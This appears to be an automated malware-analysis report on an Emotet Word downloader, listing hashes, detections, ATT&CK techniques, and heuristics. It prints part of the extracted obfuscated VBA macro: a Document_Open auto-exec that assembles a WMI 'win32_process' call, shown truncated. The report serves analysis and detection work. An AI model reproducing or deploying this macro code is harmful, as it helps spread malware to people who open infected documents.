Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9e3d362ff8dc1dae…

MALICIOUS

Office (OLE)

237.6 KB Created: 2020-09-03 21:29:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: ef688f6a2aea62e5489d14387c0ea4db SHA-1: 0367023add5a60a4533815d72a514180b3de8354 SHA-256: 9e3d362ff8dc1daec89813f11f73bac91ac2ee3f97f803fd413522874432ebb4
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', indicating a known downloader variant. The presence of a 'Document_Open' VBA macro that uses 'CreateObject' strongly suggests an attempt to execute code. While the VBA code is heavily obfuscated, the overall pattern aligns with Emotet's typical behavior of downloading and executing further stages.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13464 bytes
SHA-256: b6f537b711daf35e925659da5173dca6afdbe49ea5dfdb3b83db6e10764b9e4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lbp1q7_mfhvs8o87"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Q3ge9ro4a1e.Xu8zeh7oz_erx289hp
End Sub


Attribute VB_Name = "Q3ge9ro4a1e"
Attribute VB_Base = "0{3F74F0C1-30CC-4B77-B66E-EFF653D34A4C}{ECDF6213-1DEC-4868-BB24-DE64818A6A70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xu8zeh7oz_erx289hp()
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Kakbk28q5g1tf = 105
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Mb67kc1iddvrqwf = ChrW$(Kakbk28q5g1tf + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
O3a9q3lbghg_ = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Mb67kc1iddvrqwf + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Q3ge9ro4a1e.Lc87j1m4izlqu + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Sfqfax0jbk8m = Pse78mq0zf5(O3a9q3lbghg_)
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0bmlztadktdzkicz)
Cbgrl4wv2aa2pcv43j = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Rwfc1z4jkkab_ = Amgh4h3h5j2d
Q3jrra3xk2it11f = (jkbasd / M7r9jsoor43f_t13)
Il20aqvo7gy0qdj = CDate(qwiiwi)
Ujso3jck90q4s = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
Vyzwel4vnup0q = jsjjswww + wiiwjdd * Ujkc5q9_1nol2 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(U0
... (truncated)

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